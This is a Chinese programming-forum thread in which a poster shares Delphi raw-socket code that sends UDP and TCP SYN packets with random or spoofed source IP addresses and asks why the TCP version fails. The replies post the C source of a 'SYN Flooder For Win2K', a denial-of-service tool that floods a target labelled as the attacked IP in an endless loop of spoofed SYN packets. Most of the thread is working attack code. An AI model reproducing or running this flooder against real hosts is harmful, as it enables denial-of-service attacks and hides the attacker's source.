//真郁闷,UDP的可以发送,TCP的发送失败
unit Unit1;interfaceuses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, winsock2, StdCtrls;type
// 一些 Winsock 2 的类型声明 
   u_char = Char;
   u_short = Word;
   u_int = Integer;
   u_long = Longint;   SunB = packed record
      s_b1, s_b2, s_b3, s_b4: u_char;
   end;
   SunW = packed record
      s_w1, s_w2: u_short;
   end;
   in_addr = record
      case integer of
         0: (S_un_b: SunB);
         1: (S_un_w: SunW);
         2: (S_addr: u_long);
      end;
   TInAddr = in_addr;
   //IP头 长度20
T_IP_Header = record
   ip_verlen : Byte;
   ip_tos : Byte;
   ip_totallength : Word;
   ip_id : Word;
   ip_offset : Word;
   ip_ttl : Byte;
   ip_protocol : Byte;
   ip_checksum : Word;
   ip_srcaddr : LongWord;
   ip_destaddr : LongWord;
   end;   //TCP 头
T_TCP_HEADER = record    //长度20
Sport : WORD;       //* source port */
Dport : WORD;       //* destination port */
Seq   : DWORD;      //* sequence number */
Ack   : DWORD;      //* acknowledgement number */
Off_X2: BYTE;       //* data offset */ ___ //* (unused) */
Flags : BYTE;
Win   : WORD;       //* window */
Sum   : WORD;       //* checksum */
Urp   : WORD;       //* urgent pointer */
end; T_TCP_TSEUDO_HEADER = record
Saddr      : LongWord;
Daddr      : LongWord;
Zero       : BYTE;
Protocol   : BYTE;
Length     : WORD;
end; T_ICMP_HEADER = record
IcmpType      : BYTE;
IcmpCode      : BYTE;      // Type sub code
IcmpChecksum  : WORD;
IcmpId        : WORD;
IcmpSeq       : WORD;
IcmpTimestamp : DWORD;     // Not standard field in header, but reserved nonetheless
end;// UDP 头
Type
T_UDP_Header = record
src_portno : Word;
dst_portno : Word;
udp_length : Word;
udp_checksum : Word;
end;type
  TForm1 = class(TForm)
    Button1: TButton;
    Edit1: TEdit;
    Button2: TButton;
    Button3: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;var
  Form1: TForm1;implementation{$R *.dfm}function CheckSum(addr: PWord; len:Integer):Word;//计算校验和
var
  nleft,sum:Integer;
  w:PWord;
begin
  nleft:=len; //完全可以不用中间变量nleft而直接使用len
  sum:=0;
  w:=addr;
  Result:=0; //answer=0  while nleft>1 do
  begin
    Inc(sum,w^); //求和
    Inc(w); //指针后移
    Dec(nleft,2); //长度减少( Word = 2 Byte )
  end;
  if nleft=1 then //长度为奇数
  begin
    PByte(@Result)^:=PByte(w)^;
    Inc(sum,Result); //这两句可以合并为 Inc(sum,PByte(w)^);
  end;  sum:=sum shr 16+sum and $FFFF;
  Inc(sum,sum shr 16);
  Result:=not sum;
end;procedure TForm1.Button1Click(Sender: TObject); //UDP
Var
sh : TSocket;
bOpt : Integer;
ret : Integer;
Remote : TSockAddr;
//Local : TSockAddr;
iTotalSize : Word;
wsdata : TWSAdata;
   buff:array[0..255]of byte;
   ipHdr:T_IP_Header;
   udpHdr:T_UDP_Header;
   seudo:T_TCP_TSEUDO_HEADER;
begin
// Startup Winsock 2
ret := WSAStartup(MAKEWORD(2,2), wsdata);
if ret=0 then
begin
try
         sh :=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NIL,0,WSA_FLAG_OVERLAPPED);
//sh := Socket(AF_INET, SOCK_RAW, IPPROTO_UDP); // Create socket
if (sh <> INVALID_SOCKET) then 
begin
bOpt := 1;
ret := SetSockOpt(sh, IPPROTO_IP, IP_HDRINCL, @bOpt, SizeOf(bOpt)); // Option: Header Include
if ret <> SOCKET_ERROR then 
begin
               Randomize;
// IP
               ipHdr.ip_verlen:= 69;
               ipHdr.ip_tos:= 0; // IP服务类型
               ipHdr.ip_totallength:=htons(28) ; // 总包大小
               ipHdr.ip_id:= 0; // 唯一标识,一般设置为0
               ipHdr.ip_offset:= 0; // 偏移字段
               ipHdr.ip_ttl:= 128; // 超时时间
               ipHdr.ip_protocol:= $11; // 定义协议
               ipHdr.ip_checksum:= 0 ; // 检验总数
               ipHdr.ip_srcaddr:= inet_Addr(PChar(format('%d.%d.%d.%d',[Random(255),Random(255),Random(255),Random(255)]))) ; // 源地址
               ipHdr.ip_destaddr:=inet_Addr('192.168.1.4') ; // 目标地址
               //UDP
               udpHdr.src_portno:= htons(Random(60000)+1000);
            udpHdr.dst_portno := htons(6002) ;
            udpHdr.udp_length := htons(8) ;
            udpHdr.udp_checksum := 0 ;
               //填充缓冲区
               fillchar(buff,sizeof(buff),0);
               move(ipHdr,buff[0],sizeof(ipHdr));
               move(udpHdr,buff[sizeof(ipHdr)],sizeof(udpHdr));
               iTotalSize:=sizeof(ipHdr)+sizeof(udpHdr);               remote.sin_family := AF_INET;
               remote.sin_port :=udpHdr.dst_portno; //远程端口
               remote.sin_addr.S_addr :=ipHdr.ip_destaddr; //远程地址 // Send the packet
ret := SendTo(sh, buff, iTotalSize, 0, Remote, SizeOf(Remote));
               edit1.Text :=inttostr(ret);
end;
CloseSocket(sh); // Close socket
end;
finally
WSACleanup; // Close Winsock 2
end;
end;
end;

解决方案 »

  1.   

    procedure TForm1.Button2Click(Sender: TObject);  //TCP
    const
       SYN_DEST_IP='192.168.1.4'; //目标IP
       SEQ=$12345678;
       FAKE_IP='10.168.150.1';
    Var
    sh : TSocket;
    bOpt : Integer;
    ret : Integer;
    Remote : TSockAddr;
    //Local : TSockAddr;
    iTotalSize : Word;
    wsdata : TWSAdata;
       buff:array[0..255]of byte;
       ipHdr:T_IP_Header;
       tcpHdr:T_TCP_HEADER;
       sdHdr:T_TCP_TSEUDO_HEADER;   FakeIpNet,FakeIpHost,SendSEQ:integer;
    begin
    // Startup Winsock 2
    ret := WSAStartup(MAKEWORD(2,2), wsdata);
    if ret=0 then
    begin
    try
             sh :=WSASocket(AF_INET,SOCK_RAW,IPPROTO_TCP,NIL,0,WSA_FLAG_OVERLAPPED);
    if (sh <> INVALID_SOCKET) then
    begin
    bOpt := 1;
    ret := SetSockOpt(sh, IPPROTO_IP, IP_HDRINCL, @bOpt, SizeOf(bOpt)); // Option: Header Include
    if ret <> SOCKET_ERROR then 
    begin
                   bOpt := 1000;
                   ret:=setsockopt(sh,SOL_SOCKET,SO_SNDTIMEO,@bOpt, SizeOf(bOpt));
                   SendSEQ:=0;
                   fillchar(remote,sizeof(remote),0);
                   remote.sin_family := AF_INET;
                   remote.sin_addr.s_addr:=inet_addr(SYN_DEST_IP);
                   FakeIpNet:=inet_addr(FAKE_IP);
             FakeIpHost:=ntohl(FakeIpNet);
                // IP
                   ipHdr.ip_verlen:= 69;               //高四位IP版本号,低四位首部长度
                   ipHdr.ip_tos:= 0;
                   ipHdr.ip_totallength:=htons(40) ;   //16位总长度(字节)
                   ipHdr.ip_id:=1; // 唯一标识,一般设置为0
                   ipHdr.ip_offset:= 0; // 偏移字段
                   ipHdr.ip_ttl:= 128; // 超时时间
                   ipHdr.ip_protocol:= IPPROTO_TCP; // 定义协议
                   ipHdr.ip_checksum:= 0 ; // 检验总数
                   ipHdr.ip_srcaddr:= htonl(FakeIpHost+SendSEQ);  ; // 源地址
                   ipHdr.ip_destaddr:=inet_addr(SYN_DEST_IP);  // 目标地址
                //TCP
                   tcpHdr.Sport:= htons(7000);
                   tcpHdr.Dport:= htons(7400) ;
                   tcpHdr.Seq:=htonl(SEQ+SendSEQ); //SYN序列号
                   tcpHdr.Ack:=0;
                   tcpHdr.Off_X2:= 80 ;  //TCP长度和保留位
                tcpHdr.Flags:= 2 ; //SYN 标志
                   tcpHdr.Win:=htons(512); //窗口大小
                   tcpHdr.Sum:=0;
                   tcpHdr.Urp:=0;
    //填充TCP伪首部(用于计算校验和,并不真正发送)
                   sdHdr.Saddr:=ipHdr.ip_srcaddr;
                   sdHdr.Daddr:=ipHdr.ip_destaddr;
                   sdHdr.Zero:=0;
                   sdHdr.Protocol :=IPPROTO_TCP;
                   sdHdr.Length:=htons(20);  
          //计算TCP校验和,计算校验和时需要包括TCP pseudo header
                   fillchar(buff,sizeof(buff),0);
                   move(sdHdr,buff[0],sizeof(sdHdr));
                   move(tcpHdr,buff[sizeof(sdHdr)],sizeof(tcpHdr));
                   tcpHdr.Sum:=CheckSum(@buff,sizeof(sdHdr)+sizeof(tcpHdr));
          // 计算IP校验和
                   fillchar(buff,sizeof(buff),0);
                   move(ipHdr,buff[0],sizeof(ipHdr));
                   move(tcpHdr,buff[sizeof(ipHdr)],sizeof(tcpHdr));
                   ipHdr.ip_checksum:= CheckSum(@buff,sizeof(ipHdr)) ;
          //填充发送缓冲区
                   fillchar(buff,sizeof(buff),0);
                   move(ipHdr,buff[0],sizeof(ipHdr));
                   move(tcpHdr,buff[sizeof(ipHdr)],sizeof(tcpHdr));
                   iTotalSize:=sizeof(ipHdr)+sizeof(tcpHdr);
    // Send the packet
    ret := SendTo(sh, buff, iTotalSize, 0, Remote, SizeOf(Remote));
                   edit1.Text :=inttostr(ret);
    end;
    CloseSocket(sh); // Close socket
    end;
    finally
    WSACleanup; // Close Winsock 2
    end;
    end;
    end;procedure TForm1.Button3Click(Sender: TObject);
    Var
    i : Word;
       buff:array[0..127]of Shortint; //8位带符号整数,形取值范围-128~+127
    begin
       for i:=0 to 9 do
          buff[i]:=i+1;
       edit1.Text :=inttostr(CheckSum(@buff,10));//57830
    end;end.
      

  2.   

    //CheckSum:计算校验和的子函数
    USHORT checksum(USHORT *buffer, int size)
    {
    unsigned long cksum=0;
    while(size >1) {
    cksum+=*buffer++;
    size -=sizeof(USHORT);
    }
    if(size ) {
    cksum += *(UCHAR*)buffer;
    }
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >>16);
    return (USHORT)(~cksum);
    }//  SynFlood主函数
    int main()
    {
    int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost,k;
    int TimeOut=1000,SendSEQ=0;
    char SendBuf[128]={0};
    char RecvBuf[65535]={0};
    WSADATA wsaData;
    SOCKET SockRaw=(SOCKET)NULL;
    struct sockaddr_in DestAddr;
    IP_HEADER ip_header;
    TCP_HEADER tcp_header; //初始化SOCK_RAW
    if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
    fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
    ExitProcess(STATUS_FAILED);
    }
    SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
    if (SockRaw==INVALID_SOCKET){
    fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
    ExitProcess(STATUS_FAILED);
    }
    flag=TRUE;
    //设置IP_HDRINCL以自己填充IP首部
    ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
    if (ErrorCode==SOCKET_ERROR)
    printf("Set IP_HDRINCL Error!\n");
    __try{
    //设置发送超时
    ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
    if (ErrorCode==SOCKET_ERROR){
    fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
    __leave;
    }
    memset(&DestAddr,0,sizeof(DestAddr));
    DestAddr.sin_family=AF_INET;
    DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);
    FakeIpNet=inet_addr(FAKE_IP);
    FakeIpHost=ntohl(FakeIpNet);
    //填充IP首部
    ip_header.h_verlen=69;//(4<<4 | sizeof(ip_header)/sizeof(unsigned long));//高四位IP版本号,低四位首部长度
    ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));     //16位总长度(字节)
    ip_header.ident=1;                                                       //16位标识
    ip_header.frag_and_flags=0;                                               //3位标志位
    ip_header.ttl=128;                                                       //8位生存时间TTL
    ip_header.proto=IPPROTO_TCP;                                          //8位协议(TCP,UDP…)
    ip_header.checksum=0;                                                    //16位IP首部校验和
    ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);                          //32位源IP地址
    ip_header.destIP=inet_addr(SYN_DEST_IP);                               //32位目的IP地址
    //填充TCP首部
    tcp_header.th_sport=htons(7000);                                      //源端口号
    tcp_header.th_dport=htons(7400);                                      //目的端口号
    tcp_header.th_seq=htonl(SEQ+SendSEQ);                                  //SYN序列号
    tcp_header.th_ack=0;                                                 //ACK序列号置为0
    tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);                        //TCP长度和保留位
    tcp_header.th_flag=2;                                                    //SYN 标志
    tcp_header.th_win=htons(512);                                           //窗口大小
    tcp_header.th_urp=0;                                                 //偏移
    tcp_header.th_sum=0;                                                 //校验和
    //填充TCP伪首部(用于计算校验和,并不真正发送)
    psd_header.saddr=ip_header.sourceIP;                                    //源地址
    psd_header.daddr=ip_header.destIP;                                      //目的地址
    psd_header.mbz=0;
    psd_header.ptcl=IPPROTO_TCP;                                            //协议类型
    psd_header.tcpl=htons(sizeof(TCP_HEADER));                              //TCP首部长度
    while(1) {
    //每发送10,240个报文输出一个标示符
    Sleep(200);
    for(counter=0;counter<10240;counter++){
    if(SendSEQ++==65536) SendSEQ=1;                                  //序列号循环
    //更改IP首部
    ip_header.checksum=0;                                            //16位IP首部校验和
    ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);                  //32位源IP地址
    //更改TCP首部
    tcp_header.th_seq=htonl(SEQ+SendSEQ);                          //SYN序列号
    tcp_header.th_sum=0;                                         //校验和
    //更改TCP Pseudo Header
    psd_header.saddr=ip_header.sourceIP;
    //计算TCP校验和,计算校验和时需要包括TCP pseudo header
    memcpy(SendBuf,&psd_header,sizeof(psd_header));
    memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
    tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
    //计算IP校验和
    memcpy(SendBuf,&ip_header,sizeof(ip_header));
    memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
    memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
    datasize=sizeof(ip_header)+sizeof(tcp_header);
    ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
    //填充发送缓冲区
    memcpy(SendBuf,&ip_header,sizeof(ip_header));
    memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
    for (k=0;k<datasize;k++){
    printf("%d ",SendBuf[k]);
    if ((k % 8 == 0)&&(k>1)){printf("\n");}
    }
    //发送TCP报文
    ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));
    printf("\n%d IP校验和: %d TCP校验和: %d sendto: %d\n",counter,ip_header.checksum,tcp_header.th_sum,ErrorCode);
    if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());
    cin>>k;
    Sleep(200);
    }//End of for
    }//End of While
    }//End of try
    __finally {
    if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
    WSACleanup();
    }
    return 0;
    }
      

  3.   

    TCP协议的通讯要求 IP 数据报的 序号匹配,用 Raw Socket 可能有些困难,注意序号的连续性
      

  4.   

    //////////////////////////////////////////////////////////////////////////
    //                                                                      //
    //  SYN Flooder For Win2K by Shotgun                                    //
    //                                                                      //
    //  THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath             //
    //  THANX Lion Hook FOR PROGRAM OPTIMIZATION                            //
    //                                                                      //
    //  Released:    [2001.4]                                                //
    //  Author:     [Shotgun]                                               //
    //  Homepage:                                                           //
    //              [http://it.xici.net]                                    //
    //              [http://www.patching.net]                              / //
    //                                                                      //
    //////////////////////////////////////////////////////////////////////////
    #include <stdio.h>
    #include <stdlib.h>
    #include <winsock2.h>
    #include <Ws2tcpip.h>
    #include <iostream.h>#pragma comment(lib,"ws2_32.lib")#define SEQ 0x12345678
    #define SYN_DEST_IP "192.168.1.4"//被攻击的IP
    #define FAKE_IP "10.168.150.1"       //伪装IP的起始值,本程序的伪装IP覆盖一个B类网段
    #define STATUS_FAILED 0xFFFF      //错误返回值typedef struct _iphdr              //定义IP首部
    {
    unsigned char h_verlen;            //4位首部长度,4位IP版本号
    unsigned char tos;               //8位服务类型TOS
    unsigned short total_len;      //16位总长度(字节)
    unsigned short ident;            //16位标识
    unsigned short frag_and_flags;  //3位标志位
    unsigned char  ttl;              //8位生存时间 TTL
    unsigned char proto;         //8位协议 (TCP, UDP 或其他)
    unsigned short checksum;        //16位IP首部校验和
    unsigned int sourceIP;            //32位源IP地址
    unsigned int destIP;         //32位目的IP地址
    }IP_HEADER;struct                              //定义TCP伪首部
    {
    unsigned long saddr;     //源地址
    unsigned long daddr;     //目的地址
    char mbz;
    char ptcl;                   //协议类型
    unsigned short tcpl;     //TCP长度
    }psd_header;typedef struct _tcphdr             //定义TCP首部
    {
    USHORT th_sport;               //16位源端口
    USHORT th_dport;               //16位目的端口
    unsigned int th_seq;         //32位序列号
    unsigned int th_ack;         //32位确认号
    unsigned char th_lenres;        //4位首部长度/6位保留字
    unsigned char th_flag;            //6位标志位
    USHORT th_win;                 //16位窗口大小
    USHORT th_sum;                 //16位校验和
    USHORT th_urp;                 //16位紧急数据偏移量
    }TCP_HEADER;//CheckSum:计算校验和的子函数
    USHORT checksum(USHORT *buffer, int size)
    {
    unsigned long cksum=0;
    while(size >1) {
    cksum+=*buffer++;
    size -=sizeof(USHORT);
    }
    if(size ) {
    cksum += *(UCHAR*)buffer;
    }
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >>16);
    return (USHORT)(~cksum);
    }